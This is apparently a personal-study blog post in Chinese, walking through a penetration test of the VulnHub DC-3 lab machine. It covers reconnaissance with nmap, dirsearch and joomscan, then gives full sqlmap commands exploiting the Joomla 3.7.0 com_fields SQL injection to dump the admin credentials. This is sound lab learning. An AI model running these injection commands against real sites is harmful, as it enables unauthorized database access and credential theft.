DC-3靶机渗透测试过程（个人学习）

.M1ke.

已于 2024-07-11 17:50:17 修改

阅读量2.2k

点赞数 44

文章标签：学习安全 linux

于 2024-06-03 02:33:02 首次发布

本文链接：https://blog.csdn.net/m0_59028058/article/details/139399967

版权

下载官网地址：https://www.vulnhub.com/entry/dc-32,312/

攻击机kali的IP地址：192.168.37.129

环境配置

kali和DC-3这里都用NAT模式.

DC-3需要多修改一些东西

把IDE里面的改成IDE 0:0

一、信息收集

查找靶机的IP地址

方法一：
        nmap -sP 192.168.37.0/24
方法二：
        arp-scan -l

可以确定DC-3靶机的IP地址为 192.168.37.134，扫描该IP地址开放的服务

该IP只开放了一个80端口，则去访问该IP地址的80端口

通过 Wappalyzer 可以看到该网站用的CMS是Joomla

对于一个存在登录框的页面，尝试了一下对用户名和密码的爆破，但是没有任何结果，对登录框试着sql注入也没有结果

使用kali的dirsearch扫描网站目录，访问扫描出的路径，发现 /administrator 是一个后台登录页面

二、漏洞利用

1、sql注入

在kali中，JoomScan可以用于检测 Joomla 是否存在可利用的漏洞，工作原理与WPScan类似

使用该命令对网站进行扫描：

joomscan -u http://192.168.37.134

通过 Joomscan 可以看到该网站的版本号为 3.7.0 ，也可以直接扫描到它的登陆后台

搜索一下 joomla 3.7.0 存在着sql注入的漏洞，则可以在本地的漏洞库中搜索一下该漏洞

searchploit joomla 3.7.0

查看该漏洞库文本的内容，该版本存在 updatexml 报错注入，文本中给出了存在sql注入的点和跑sqlmap的格式，则在网页中使用SQL注入的POC查看一下注入的地方

爆库

sqlmap -u "http://192.168.37.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch

得到了五个数据库，既然网站是joomla，就优先查看了joomladb库

爆表

sqlmap -u "http://192.168.37.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch

可以发现存在一个 #__users 表，继续尝试爆字段

爆字段

sqlmap -u "http://192.168.37.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --dump -p list[fullordering] --batch

发现爆字段失败，无法获取字段名。

那只能试着猜一猜在 #__users 表中存在哪些字段名，既然是用户表肯定存在着用户名和密码

最后利用name 和 passwd 爆破出admin的账户和密码

sqlmap -u "http://192.168.37.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T '#__users' -C name,password --dump --batch